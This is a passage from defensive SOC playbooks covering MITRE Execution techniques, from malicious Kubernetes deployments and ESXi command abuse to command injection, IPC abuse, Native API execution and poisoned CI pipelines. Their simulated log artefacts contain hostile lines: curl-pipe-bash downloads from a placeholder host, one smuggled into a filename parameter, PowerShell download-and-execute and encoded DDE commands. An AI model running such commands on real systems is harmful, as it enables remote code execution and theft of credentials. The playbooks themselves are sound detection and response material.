- Containers deployed from untrusted or unknown registries
- Privileged containers or hostPath mounts created
- Containers running non-business processes (miners, scanners)
- Deployment activity outside CI/CD pipelines or change windows
- Sudden resource spikes (CPU, GPU, network)

Example use case scenario (end-to-end)

Context: SOC detects a new Kubernetes deployment created by a valid account. The container image is pulled from an unknown registry, runs with elevated privileges and begins high CPU usage consistent with cryptomining.

Attacker objective: Deploy containers to execute payloads, persist and monetise resources.

Defender objective: Identify malicious deployments, contain cluster impact and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Kubernetes Deployment Creation

2026-04-01T01:11:02Z

tool=kubectl

action=apply

resource=deployment/miner-app

namespace=prod

user=cloud-admin@example.my

B) Image Pull from Untrusted Registry

2026-04-01T01:11:09Z

image=unknown-registry[.]net/crypto/miner:latest

pull_status=success

C) Privileged Container Configuration

2026-04-01T01:11:16Z

securityContext.privileged=true

hostPath=/var/run/docker.sock

D) Resource Abuse Indicators

2026-04-01T01:11:28Z

pod=miner-app-7f9c

cpu_usage=95%

network_outbound=high

E) Persistence via Kubernetes Object

2026-04-01T01:11:41Z

resource=daemonset/miner-persist

status=created

Severity decision (SOC)

Low

- Container deployed via approved pipeline
- Image from trusted registry
- No privileged settings

Medium

- Manual deployment from unexpected user
- Unusual image but no privilege escalation

High

- Privileged container or host mounts
- Untrusted registry images
- Resource abuse or persistence objects

Example severity: High

(Privileged container + untrusted image + cryptomining behaviour)

Step-by-step SOC workflow

Step 1 Validate container deployment legitimacy

Confirm:

1. Is the deployment approved and documented?
2. Was it deployed via CI/CD or manually?
3. Is the image trusted and scanned?
4. Does the container require elevated privileges?

Decision point

- Legitimate workload → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify deployment scope

Component	Evidence	Attacker value
Pod / Deployment	New workload	Execution
Image registry	Unknown source	Malware delivery
Privileges	--privileged, hostPath	Host escape
Persistence	DaemonSet / CronJob	Long-term access
Resources	CPU/GPU abuse	Monetisation

Step 3 Map deployment behaviour to attacker intent

3A) Malicious Code Execution

Indicators

- Unknown images

- Suspicious processes inside container

Attacker intent

- Run tooling or malware

3B) Persistence via Orchestration

Indicators

- DaemonSets, CronJobs
- Self-healing workloads

Attacker intent

- Survive restarts and remediation

3C) Privilege Escalation / Host Access

Indicators

- Privileged containers
- Docker socket mounts

Attacker intent

- Escape container boundaries

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Secrets, service account tokens
2. Lateral Movement
 - Cross-namespace access
3. Defense Evasion
 - Audit log tampering
4. Impact
 - Cryptomining, data exfiltration, service disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Delete suspicious pods, deployments and services
2. Block untrusted registries via admission controls
3. Revoke credentials used for deployment

If abuse confirmed

1. Quarantine affected nodes
2. Disable compromised accounts and service principals
3. Terminate all malicious workloads
4. Activate full container incident response

Eradication and recovery

- Remove malicious images from nodes
- Rotate all Kubernetes secrets and tokens
- Restore RBAC and admission policies
- Rebuild nodes if host compromise suspected
- Validate cluster health and integrity

Detection engineering (SIEM ideas)

A) New deployment outside pipeline

```
index=k8s_audit  
| where verb IN ("create","apply")  
| where user NOT IN approved_ci_cd
```

B) Untrusted image usage

```
index=container  
| where image_registry NOT IN trusted_registries
```

C) Privileged container detection

```
index=container  
| where securityContext.privileged=true OR hostPath IS NOT NULL
```

Analyst checklist

- Deployment legitimacy verified

- Image source assessed
- Privilege and persistence reviewed
- Malicious workloads removed
- Credentials and policies updated

Post-incident improvements

- Enforce image allowlists and signing (Sigstore)
- Block privileged containers by default
- Require CI/CD-only deployments
- Monitor container creation as Tier-1 alerts
- Include container deployment abuse in SOC exercises

Playbook 35 (MITRE Execution): ESXi Administration Command

Technique: ESXi Administration Command

Purpose

Detect, investigate and respond to unauthorised or malicious ESXi administrative command execution, enabling attackers to:

- Execute commands directly on hypervisors
- Disable security controls and logging
- Access or manipulate all hosted virtual machines
- Deploy ransomware at the hypervisor level
- Mass-delete or encrypt VMs (environment-wide impact)

This technique commonly follows Valid Accounts, Trusted Relationship or Cloud/Infra Admin Access and precedes Impact (Data Destruction, Service Disruption, Ransomware).

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of ESXi or vSphere administrative access, including:

- ESXi Shell or SSH enabled unexpectedly
- esxcli commands executed outside maintenance windows
- vCenter admin actions without change approval
- Mass VM power-off, snapshot deletion or datastore access
- Hypervisor configuration changes affecting multiple VMs
- Threat intel reporting ESXi-focused ransomware activity

Example use case scenario (end-to-end)

Context: SOC detects a successful SSH login to an ESXi host using valid credentials. Within minutes, esxcli commands disable firewall rules, stop management agents and multiple VMs are powered off across the cluster.

Attacker objective: Use ESXi administration commands to gain hypervisor-level execution and prepare for environment-wide impact.

Defender objective: Identify malicious hypervisor activity early, contain host access and prevent mass VM disruption.

What it looks like (simulated SOC artefacts)

A) ESXi SSH Login

2026-04-03T01:11:02Z
host=esxi-03
service=SSH
user=root
src_ip=203.0.113.77
result=success

B) ESXi Shell / esxcli Execution

2026-04-03T01:11:09Z
command=esxcli network firewall set --enabled false
user=root

C) Management Agent Manipulation

2026-04-03T01:11:16Z
command=/etc/init.d/hostd stop
result=success

D) Virtual Machine Control

2026-04-03T01:11:28Z
action=PowerOffVM
vm_count=24
initiated_by=root

E) Datastore Interaction

2026-04-03T01:11:41Z
path=/vmfs/volumes/datastore1/
operation=delete_snapshot

Severity decision (SOC)

Low

- ESXi admin activity within approved maintenance
- Commands aligned with documented change requests

Medium

- ESXi admin commands from unusual source or timing

- No immediate VM or datastore impact

High

- Root-level ESXi access
- Firewall/logging disabled
- Mass VM manipulation or datastore activity

Example severity: High

(ESXi root login → firewall disabled → multiple VMs powered off)

Step-by-step SOC workflow

Step 1 Validate ESXi admin legitimacy

Confirm:

1. Is the account authorised for ESXi administration?
2. Is the activity approved and change-documented?
3. Is access occurring via SSH, Shell or vCenter?
4. Does the source IP match admin baseline?

Decision point

- Approved admin activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify ESXi execution scope

Area	Evidence	Attacker value
ESXi Shell / SSH	Direct host access	Hypervisor control
esxcli	Host config changes	Defense evasion
vCenter	Cluster-wide actions	Scale
VM lifecycle	Power / delete	Impact
Datastores	File access	Destruction / ransomware

Step 3 Map behaviour to attacker intent

3A) Hypervisor-Level Execution

Indicators

- esxcli commands
- Shell access enabled

Attacker intent

- Bypass guest OS security

3B) Defense Evasion

Indicators

- Firewall disabled
- Management/logging agents stopped

Attacker intent

- Reduce visibility and response

3C) Preparation for Impact

Indicators

- VM shutdowns
- Snapshot or datastore manipulation

Attacker intent

- Ransomware or mass disruption

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Impact
 - VM encryption or deletion
2. Persistence
 - New root users or SSH keys
3. Lateral Movement
 - Other ESXi hosts or vCenter
4. Credential Access
 - vCenter or backup system access

Decision point

- Evidence found → escalate to Major Incident Response

Containment actions

If detected early

1. Disable SSH and ESXi Shell immediately
2. Block source IPs
3. Reset ESXi and vCenter credentials

If abuse confirmed

1. Isolate affected ESXi hosts
2. Lock down vCenter access
3. Suspend all hypervisor admin sessions
4. Activate full infrastructure IR procedures

Eradication and recovery

- Restore ESXi configuration from known-good state
- Re-enable logging and firewall controls
- Rotate all hypervisor and vCenter credentials
- Validate VM integrity and availability
- Recover from backups if impact occurred

Detection engineering (SIEM ideas)

A) ESXi SSH access monitoring

```
index=infra  
| where service="SSH"  
| where host LIKE "esxi%"
```

B) esxcli execution detection

```
index=infra  
| where command LIKE "esxcli%"
```

C) Mass VM operation alert

```
index=virtualization  
| where action IN ("PowerOffVM","DeleteVM","DeleteSnapshot")  
| stats count by user  
| where count > threshold
```

Analyst checklist

- ESXi admin access validated

- Scope of host and VM impact identified
- Hypervisor credentials rotated
- Logging and firewall restored
- Backup and recovery status confirmed

Post-incident improvements

- Disable ESXi SSH and Shell by default
- Enforce MFA for vCenter and hypervisor admins
- Monitor ESXi admin commands as Tier-0 alerts
- Separate backup networks from ESXi management
- Include ESXi ransomware scenarios in SOC drills

Playbook 36 (MITRE Execution): Exploitation for Client Execution

Technique: Exploitation for Client Execution

Purpose

Detect, investigate and respond to client-side exploitation leading to execution, enabling attackers to:

- Execute code without macros or scripts
- Bypass user security awareness controls
- Deliver payloads stealthily
- Establish footholds without obvious malware drops
- Chain directly into persistence and credential access

This technique often overlaps with Drive-by Compromise but focuses specifically on exploitation-driven execution on the client.

When to trigger this playbook

Trigger this playbook when indicators suggest execution caused by exploitation, including:

- Application crashes followed by process execution
- EDR alerts referencing memory corruption or ROP chains
- Browser or document viewer spawning system shells
- Exploit-related CVE detections
- Malware execution with no user-initiated file run
- Multiple hosts impacted by the same client-side exploit

Example use case scenario (end-to-end)

Context: SOC detects multiple endpoints launching PowerShell shortly after users open a PDF attachment. EDR telemetry shows a use-after-free vulnerability in the PDF reader being exploited to execute shellcode.

Attacker objective: Exploit client software vulnerabilities to execute code silently without relying on macros or scripts.

Defender objective: Identify exploited software, contain affected hosts and prevent further exploitation.

What it looks like (simulated SOC artefacts)

A) Client Application Crash

2026-04-05T01:11:02Z
application=pdfreader.exe
event=Crash
exception=UseAfterFree

B) Exploit Detection (EDR)

2026-04-05T01:11:06Z
alert=Exploit_Prevention
technique=ROP_Chain
cve=CVE-2025-XXXX

C) Unexpected Child Process

2026-04-05T01:11:09Z
parent_process=pdfreader.exe
child_process=powershell.exe
command_line=IEX(New-Object Net.WebClient).DownloadString(...)

D) Payload Retrieval

2026-04-05T01:11:14Z
destination=http://node[.]net/stage2.ps1
download_status=success

E) Post-Exploitation Persistence

2026-04-05T01:11:28Z
event=Registry_Modified
key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Severity decision (SOC)

Low

- Exploit attempt blocked
- No child process execution

Medium

- Exploit partially successful
- Payload blocked or quarantined

High

- Successful exploitation and execution
- Persistence or C2 activity observed

Example severity: High

(PDF exploit → PowerShell execution → persistence)

Step-by-step SOC workflow

Step 1 Validate exploitation-driven execution

Confirm:

1. Was execution preceded by application crash or exploit alert?
2. Did the parent process normally not spawn shells or scripts?
3. Is there no user-initiated execution?
4. Is the behaviour aligned with known CVEs or exploit kits?

Decision point

- User-initiated execution → follow User Execution playbook
- Exploit-driven execution → continue investigation immediately

Step 2 Identify exploited client scope

Component	Evidence	Attacker value
Browser	RCE / sandbox escape	Silent delivery
Document viewer	Memory exploit	Trusted file abuse
Email client	Rendering exploit	Zero-click execution
OS component	Client-side CVE	Broad impact

Step 3 Map behaviour to attacker intent

3A) Memory Corruption Exploitation

Indicators

- ROP chains
- Heap spray / UAF

Attacker intent

- Execute arbitrary code

3B) Shellcode-Based Execution

Indicators

- In-memory execution
- No file dropped initially

Attacker intent

- Evade disk-based detection

3C) Loader Deployment

Indicators

- Network calls post-exploit
- Second-stage payloads

Attacker intent

- Establish foothold and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, scheduled tasks
2. Credential Access
 - Browser credential stores
3. Lateral Movement
 - SMB, RDP, WinRM
4. C2
 - Beacons or DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit blocked early

1. Block exploit infrastructure
2. Patch vulnerable client software
3. Increase exploit prevention sensitivity

If exploitation successful

1. Isolate affected endpoints immediately
2. Kill malicious child processes
3. Block all related IOCs
4. Reset potentially exposed credentials

Eradication and recovery

- Remove malware and persistence mechanisms
- Reimage endpoints if exploit integrity is uncertain
- Patch exploited software and dependencies
- Validate no lateral movement occurred
- Update detection rules

Detection engineering (SIEM ideas)

A) Client process spawning shell

```
index=edr
| where parent_process IN ("pdfreader.exe","winword.exe","chrome.exe","outlook.exe")
| where child_process IN ("powershell.exe","cmd.exe","bash")
```

B) Exploit alert correlation

```
index=edr
| where alert_type="Exploit_Prevention"
| transaction host maxspan=5m
```

C) Crash → execution sequence

```
index=edr
| transaction host maxspan=2m
| where event="Crash" AND child_process IS NOT NULL
```

Analyst checklist

- Exploited application identified
- CVE confirmed and patched
- Endpoint scope identified
- Persistence and C2 ruled out
- User and management notified

Post-incident improvements

- Enforce rapid patching of client software
- Enable exploit prevention and memory protection
- Reduce attack surface (disable unused plugins/features)
- Monitor client crash-to-execution patterns
- Include client-side exploit scenarios in SOC drills

Playbook 37 (MITRE Execution): Input Injection

Technique: Input Injection

Purpose

Detect, investigate and respond to execution caused by malicious input handling, enabling attackers to:

- Execute OS commands via applications
- Run scripts or interpreters indirectly
- Bypass authentication and authorisation
- Deploy web shells or backdoors
- Chain into persistence, credential access and lateral movement

This technique is especially dangerous because execution originates from legitimate applications, not attacker binaries.

When to trigger this playbook

Trigger this playbook when indicators suggest execution resulting from user-controlled input, including:

- WAF/IDS alerts followed by process execution
- Web or API requests containing shell metacharacters
- Application logs showing unexpected command strings
- Web server processes spawning shells or interpreters
- Execution tied directly to HTTP/API requests
- Repeated malformed input followed by successful execution

Example use case scenario (end-to-end)

Context: SOC detects suspicious API requests containing shell characters to a public-facing application. Seconds later, the web server spawns a bash shell, which downloads a payload and establishes persistence.

Attacker objective: Exploit weak input validation to execute arbitrary commands on the server.

Defender objective: Confirm injection-driven execution, contain the compromised service and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Web / API Request with Malicious Input

2026-04-07T01:11:02Z
uri=/api/v1/report
parameter=filename
value=report.pdf;curl http://node[.]net/x.sh|bash
src_ip=198.51.100.22

B) WAF / IDS Detection

2026-04-07T01:11:04Z
rule=Command_Injection_Detected
payload=";&&`\$()"
action=alert

C) Application Process Spawning Shell

2026-04-07T01:11:07Z
parent_process=java
child_process=/bin/bash
command_line=bash -c curl http://node[.]net/x.sh | bash

D) Payload Execution

2026-04-07T01:11:11Z
file=/tmp/.cache.sh
execution_status=success

E) Web Shell Creation

2026-04-07T01:11:26Z
file=/var/www/html/.config.php
owner=www-data

Severity decision (SOC)

Low

- Injection attempt blocked
- No execution observed

Medium

- Injection partially successful

- Execution blocked or sandboxed

High

- Successful command or code execution
- Web shell, persistence or outbound C2 observed

Example severity: High

(Command injection → bash execution → web shell)

Step-by-step SOC workflow

Step 1 Validate injection-driven execution

Confirm:

1. Was execution triggered by external input (HTTP/API/UI)?
2. Does the parent process normally execute OS commands?
3. Is there direct correlation between request and execution time?
4. Are there known injection patterns (| && \$())?

Decision point

- Input blocked before execution → tune controls
- Execution occurred → continue investigation immediately

Step 2 Identify injection surface and scope

Injection surface	Evidence	Attacker value
Web app	HTTP parameters	RCE
API	JSON/XML input	Automation abuse
Templates	SSTI payloads	Code execution
Databases	SQL/OS escape	System access
Logs	Log injection	Secondary execution

Step 3 Map behaviour to attacker intent

3A) OS Command Injection

Indicators

- Shell metacharacters
- Web/app process spawning shell

Attacker intent

- Execute arbitrary commands

3B) Script / Interpreter Execution

Indicators

- Python, Bash, PowerShell invoked indirectly

Attacker intent

- Run tooling without binaries

3C) Web Shell Deployment

Indicators

- New files in web root
- Obfuscated PHP/JSP/ASPX

Attacker intent

- Persistent access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Web shells, cron jobs
2. Credential Access
 - Config files, secrets
3. Lateral Movement
 - SSH, database access
4. C2
 - Beacons from application server

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If injection blocked early

1. Block source IPs and payload patterns
2. Apply WAF virtual patching
3. Increase input validation logging

If execution successful

1. Isolate affected application server
2. Disable vulnerable endpoints
3. Block attacker infrastructure
4. Preserve logs and artefacts

Eradication and recovery

- Remove web shells and malicious files
- Patch application input validation flaws
- Rotate exposed credentials and secrets
- Rebuild server if integrity is uncertain
- Conduct secure code review

Detection engineering (SIEM ideas)

A) Injection payload detection

index=waf OR index=web
| where payload LIKE "%;%%" OR payload LIKE "%|%" OR payload LIKE "%\$()%"

B) Web process spawning shell

index=edr
| where parent_process IN ("java","nginx","apache","php-fpm")
| where child_process IN ("bash","sh","powershell.exe")

C) Request-to-execution correlation

index=web OR index=edr
| transaction host maxspan=2m
| where child_process IS NOT NULL

Analyst checklist

- Injection vector identified
- Execution confirmed or ruled out
- Affected endpoints isolated
- Persistence removed

- Application patched and validated

Post-incident improvements

- Enforce strict server-side input validation
- Use allowlists, not blacklists
- Apply least-privilege for application processes
- Enable runtime application self-protection (RASP)
- Include input injection scenarios in AppSec + SOC exercises

Playbook 38 (MITRE Execution): Inter-Process Communication

Technique: Inter-Process Communication

Sub-techniques:

- Component Object Model (COM)
- Dynamic Data Exchange (DDE)
- XPC Services

Purpose

Detect, investigate and respond to adversary execution achieved by abusing legitimate IPC mechanisms, enabling attackers to:

- Execute code via trusted system components
- Bypass application allowlists and script restrictions
- Trigger execution indirectly without dropping binaries
- Blend malicious execution with normal OS behaviour

IPC-based execution is low-noise and evasive because execution is delegated to trusted processes.

When to trigger this playbook

Trigger this playbook when indicators suggest execution via IPC rather than direct process launch, including:

- Office documents triggering background execution without macros
- Unexpected COM object activation
- DDE requests spawning command interpreters
- XPC services executing commands on macOS
- Child processes launched by trusted system brokers
- Execution paths that bypass script controls

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution originating from Microsoft Word, but macros are disabled. Further analysis shows the document used DDE fields to invoke cmd.exe, which then launched PowerShell.

Attacker objective: Abuse IPC mechanisms to execute commands indirectly, bypassing security controls.

Defender objective: Identify IPC abuse paths, contain execution and prevent future misuse.

What it looks like (simulated SOC artefacts)

A) Component Object Model (COM)

2026-04-09T01:11:02Z
parent_process=explorer.exe
activated_object=Shell.Application
method=ShellExecute
argument=powershell.exe -EncodedCommand SQBFAFgA...

B) Dynamic Data Exchange (DDE)

2026-04-09T01:11:14Z
parent_process=winword.exe
dde_service=cmd
dde_topic=/c powershell -nop -w hidden -enc SQBFAFgA...

C) XPC Services (macOS)

2026-04-09T01:11:26Z
process=launchd
xpc_service=com.apple.ScriptService
request=doShellScript
command=curl http://node[.]net/x.sh | sh

Severity decision (SOC)

Low

- IPC usage aligned with normal application behaviour
- No command execution observed

Medium

- IPC invocation of system utilities
- Execution blocked or constrained

High

- IPC triggers shell or script execution
- Obfuscation or encoded commands

- Follow-on persistence or C2

Example severity: High

(DDE → cmd.exe → PowerShell with encoded command)

Step-by-step SOC workflow**Step 1 Validate IPC-driven execution**

Confirm:

1. Did execution occur via a broker or trusted component?
2. Is the parent process normally non-executing (Office, Finder)?
3. Was user interaction minimal or absent?
4. Are known IPC abuse patterns present (DDE, COM automation)?

Decision point

- Benign IPC usage → document and monitor
- Suspicious IPC execution → continue investigation immediately

Step 2 Identify IPC mechanism and scope

IPC mechanism	Evidence	Attacker value
COM	Object activation	Bypass controls
DDE	Office field execution	Macro-less execution
XPC	macOS service calls	Trusted execution

Step 3 Map behaviour to attacker intent**3A) COM Automation Abuse****Indicators**

- Shell.Application, WScript.Shell
- Indirect ShellExecute calls

Attacker intent

- Execute binaries via trusted brokers

3B) DDE-Based Execution**Indicators**

- DDE fields in documents
- cmd.exe or powershell.exe spawned

Attacker intent

- Bypass macro restrictions

3C) XPC Service Abuse

Indicators

- doShellScript or similar calls
- Commands executed via launchd

Attacker intent

- Abuse macOS IPC trust model

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry, launch agents, login items
2. Credential Access
 - Browser stores, keychains
3. Lateral Movement
 - SMB, SSH, Apple Remote Desktop
4. C2
 - Beacons from spawned processes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Block malicious documents or files
2. Disable DDE or restrict COM automation
3. Terminate spawned processes

If abuse confirmed

1. Isolate affected endpoints
2. Revoke credentials used on affected hosts
3. Block IPC abuse patterns via EDR
4. Preserve artefacts for forensics

Eradication and recovery

- Remove malicious files and persistence
- Reimage endpoints if integrity is uncertain
- Patch Office, OS and IPC-related components
- Validate no residual IPC abuse remains
- Update detection rules

Detection engineering (SIEM ideas)

A) Office spawning shells via IPC

```
index=edr  
| where parent_process IN ("winword.exe","excel.exe","powerpnt.exe")  
| where child_process IN ("cmd.exe","powershell.exe")
```

B) COM object abuse detection

```
index=edr  
| where com_object IN ("Shell.Application","WScript.Shell")
```

C) XPC shell execution

```
index=macos  
| where xpc_request LIKE "%doShellScript%"
```

Analyst checklist

- IPC mechanism identified
- Execution confirmed or ruled out
- Scope of affected endpoints identified
- Persistence and C2 checked
- Controls updated

Post-incident improvements

- Disable or restrict DDE where possible
- Monitor COM automation as high-risk
- Harden macOS XPC entitlements

- Train SOC on IPC-based execution patterns
- Include IPC abuse in detection engineering roadmaps

Playbook 39 (MITRE Execution): Native API

Technique: Native API

Purpose

Detect, investigate and respond to execution achieved via direct OS API usage, enabling attackers to:

- Execute payloads fully in memory
- Bypass script controls and command-line detection
- Evade EDR hooks by using direct syscalls
- Load malicious code without creating files
- Blend execution with legitimate system behaviour

This technique is commonly used by advanced malware, red teams and post-exploitation frameworks.

When to trigger this playbook

Trigger this playbook when indicators suggest execution without standard process or interpreter patterns, including:

- Suspicious memory allocations and code execution
- API calls associated with process injection or loading
- EDR alerts referencing syscall abuse or hook bypass
- Execution without command-line or parent process evidence
- Abnormal behaviour from trusted system processes
- In-memory payloads with no file artefacts

Example use case scenario (end-to-end)

Context: SOC observes outbound network connections from a workstation, but no suspicious processes or scripts are visible. Memory telemetry reveals use of `NtAllocateVirtualMemory` and `NtCreateThreadEx`, consistent with in-memory execution via Native APIs.

Attacker objective: Execute payloads using direct OS APIs to evade detection and persist stealthily.

Defender objective: Identify Native API execution, contain the affected host and prevent further stealth execution.

What it looks like (simulated SOC artefacts)

A) Suspicious Memory Allocation

2026-04-11T01:11:02Z
process=explorer.exe
api=NtAllocateVirtualMemory
allocation_type=RWX
size=40960

B) Direct Thread Creation

2026-04-11T01:11:06Z
process=explorer.exe
api=NtCreateThreadEx
target=Self

C) Manual Module Mapping

2026-04-11T01:11:11Z
event=ManualMap
module=unknown
loaded_from=memory

D) No Corresponding Process Creation

2026-04-11T01:11:14Z
note=No CreateProcess / execve observed

E) Network Activity from Trusted Process

2026-04-11T01:11:22Z
process=explorer.exe
destination=198.51.100.45:443
pattern=beaconing

Severity decision (SOC)

Low

- Native API usage consistent with legitimate software
- No malicious follow-on behaviour

Medium

- Suspicious API usage but execution blocked

- Limited memory manipulation

High

- In-memory execution confirmed
- Direct syscall usage
- C2, persistence or lateral movement observed

Example severity: High

(Native API memory execution → stealth C2)

Step-by-step SOC workflow

Step 1 Validate Native API-based execution

Confirm:

1. Is execution occurring without standard process creation?
2. Are memory allocation + execution APIs used together?
3. Is the behaviour abnormal for the hosting process?
4. Are there EDR alerts for hook bypass or syscall abuse?

Decision point

- Legitimate native behaviour → document and monitor
- Suspicious or malicious → continue investigation immediately

Step 2 Identify Native API execution scope

API category	Evidence	Attacker value
Memory mgmt	RWX allocation	In-memory execution
Threading	Remote/local threads	Stealth execution
Loading	Manual PE / ELF load	No file artefacts
Syscalls	Direct kernel calls	EDR evasion
IPC / Network	Native sockets	C2

Step 3 Map behaviour to attacker intent

3A) In-Memory Payload Execution

Indicators

- RWX memory regions
- Thread start at non-module address

Attacker intent

- Evade disk-based detection

3B) EDR / AV Evasion

Indicators

- Direct syscalls
- Bypassed user-mode hooks

Attacker intent

- Avoid security controls

3C) Stealth Command-and-Control

Indicators

- Network traffic from trusted processes
- No visible loader process

Attacker intent

- Maintain hidden access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry, services, launch agents
2. Credential Access
 - LSASS interaction, keychains
3. Lateral Movement
 - SMB, RPC, SSH via native APIs
4. Impact
 - Data manipulation, ransomware loaders

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Suspend affected process
2. Block outbound C2 destinations
3. Increase memory protection controls

If abuse confirmed

1. Isolate affected endpoint immediately
2. Capture memory for forensics
3. Kill malicious threads and processes
4. Reset potentially exposed credentials

Eradication and recovery

- Remove persistence mechanisms
- Reimage system if memory integrity is uncertain
- Patch OS and vulnerable components
- Update EDR rules for syscall abuse
- Validate no residual in-memory artefacts remain

Detection engineering (SIEM ideas)

A) RWX memory allocation detection

index=edr
| where api="NtAllocateVirtualMemory"
| where protection="RWX"

B) Thread execution from non-module memory

index=edr
| where api="NtCreateThreadEx"
| where start_address NOT IN loaded_modules

C) Network activity from trusted UI processes

index=edr OR index=network
| where process IN ("explorer.exe", "finder", "systemd")
| where outbound_connections=true

Analyst checklist

- Native API execution confirmed

- Affected processes identified
- Memory artefacts collected
- Persistence ruled out or removed
- Endpoint restored securely

Post-incident improvements

- Enable EDR kernel-mode telemetry where possible
- Monitor memory-only execution patterns
- Baseline native API usage per process
- Restrict outbound traffic for user processes
- Include Native API abuse in advanced SOC training

Playbook 40 (MITRE Execution): Poisoned Pipeline Execution

Technique: Poisoned Pipeline Execution

Purpose

Detect, investigate and respond to malicious execution within CI/CD pipelines, enabling attackers to:

- Execute arbitrary code in trusted build environments
- Steal secrets, API tokens and signing keys
- Insert backdoors into production artifacts
- Deploy malicious containers or binaries at scale
- Bypass endpoint-centric security controls

This technique commonly follows Initial Access (Valid Accounts, Compromised Repo, Phishing) and precedes Persistence, Supply Chain Compromise and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest **CI/CD or pipeline abuse**, including:

- Unexpected changes to pipeline YAML or scripts
- Build jobs executing network calls to unknown domains
- Secrets accessed or exfiltrated during builds
- Builds running from unapproved branches or forks
- Artifacts behaving differently from source code
- Runners executing commands outside normal build logic

Example use case scenario (end-to-end)

Context: SOC detects outbound connections from a CI runner to an external IP during a build. Investigation reveals a modified pipeline script that executes a hidden curl command, exfiltrating cloud credentials and injecting a backdoor into a container image.

Attacker objective: Poison the pipeline to execute malicious code and compromise downstream systems.

Defender objective: Identify pipeline abuse, contain credential exposure and prevent supply-chain impact.

What it looks like (simulated SOC artefacts)

A) Pipeline Script Modification

2026-04-13T01:11:02Z
repo=backend-service
file=.github/workflows/build.yml
change=added_step
author=devops-bot

B) Malicious Build Step Execution

2026-04-13T01:11:08Z
runner=github-hosted
command=curl http://node[.]net/p.sh | bash

C) Secret Access in Pipeline

2026-04-13T01:11:14Z
secret=AWS_SECRET_ACCESS_KEY
context=CI_JOB
usage=read

D) Artifact Poisoning

2026-04-13T01:11:22Z
artifact=container_image
tag=prod-latest
checksum_mismatch=true

E) External Communication

2026-04-13T01:11:31Z
source=ci-runner
destination=198.51.100.88:443
bytes_out=24567

Severity decision (SOC)

Low

- Pipeline change reviewed and approved
- No secret access or external communication

Medium

- Pipeline modification without review
- Suspicious but blocked execution

High

- Malicious code executed in pipeline
- Secrets accessed or artifacts poisoned

Example severity: High

(Pipeline modification → secret exfiltration → poisoned artifact)

Step-by-step SOC workflow

Step 1 Validate pipeline execution legitimacy

Confirm:

1. Was the pipeline change approved and reviewed?
2. Is the build running from an expected branch or tag?
3. Are commands executed consistent with normal build logic?
4. Are secrets accessed strictly required for the job?

Decision point

- Legitimate pipeline activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify pipeline execution scope

Pipeline component	Evidence	Attacker value
Build scripts	Modified YAML	Code execution
Runners	Command execution	Environment access
Secrets	API keys, tokens	Lateral movement
Artifacts	Images, binaries	Supply-chain impact
Deploy stages	Auto-release	Production compromise

Step 3 Map behaviour to attacker intent

3A) Pipeline-Based Code Execution

Indicators

- Hidden commands in build steps
- Network calls during build

Attacker intent

- Execute tooling in trusted automation

3B) Credential Harvesting

Indicators

- Secrets accessed unexpectedly
- Environment variables exfiltrated

Attacker intent

- Expand access beyond pipeline

3C) Supply Chain Poisoning

Indicators

- Artifact checksum changes
- Backdoored images or packages

Attacker intent

- Persist and scale compromise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Backdoors in repositories or images
2. Lateral Movement
 - Cloud, registry or cluster access
3. Impact
 - Malicious deployments to production
4. Exfiltration
 - Build logs or artifacts leaked

Decision point

- Evidence found → escalate to Incident Response / Supply Chain Incident

Containment actions

If detected early

1. Stop affected pipelines immediately
2. Revoke exposed secrets and tokens
3. Block runner outbound access

If abuse confirmed

1. Disable compromised repositories and runners
2. Rotate all pipeline and cloud credentials
3. Pull and quarantine poisoned artifacts
4. Activate supply-chain IR procedures

Eradication and recovery

- Remove malicious pipeline code
- Rebuild pipelines from trusted baseline
- Re-issue clean artifacts and images
- Audit all downstream deployments
- Restore trust in CI/CD environment

Detection engineering (SIEM ideas)

A) Pipeline script change monitoring

```
index=ci  
| where file LIKE "%.yml" OR file LIKE "%.yaml"  
| where change_type="modified"
```

B) Network activity from CI runners

```
index=network  
| where src_type="ci-runner"  
| where dest_domain NOT IN trusted_domains
```

C) Secret usage anomaly

```
index=ci  
| where secret_accessed=true  
| where job NOT IN approved_secret_usage
```

Analyst checklist

- Pipeline change validated
- Secret exposure assessed
- Artifact integrity verified

- Downstream systems reviewed
- Credentials rotated

Post-incident improvements

- Enforce mandatory code review for pipeline changes
- Use ephemeral, least-privilege pipeline secrets
- Restrict CI runner network egress
- Sign and verify build artifacts
- Monitor pipelines as Tier-0 execution paths

Playbook 41 (MITRE Execution): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques:

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries executing code via scheduled mechanisms to ensure reliable, repeatable execution without user interaction, enabling attackers to:

- Execute payloads at specific times or intervals
- Blend malicious execution into legitimate automation
- Trigger execution after reboot or at off-hours
- Evade user-driven detections and timing-based controls
- Support persistence-adjacent execution paths

Scheduled Task / Job is hands-off execution once planted, the attacker lets the clock do the work.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- New or modified scheduled jobs without change approval
- Tasks executing scripts or binaries from unusual locations
- Jobs running under elevated or service accounts
- Execution aligned with off-hours or reboot events
- Scheduled execution linked to suspicious downloads or C2 traffic

Example use case scenario (end-to-end)

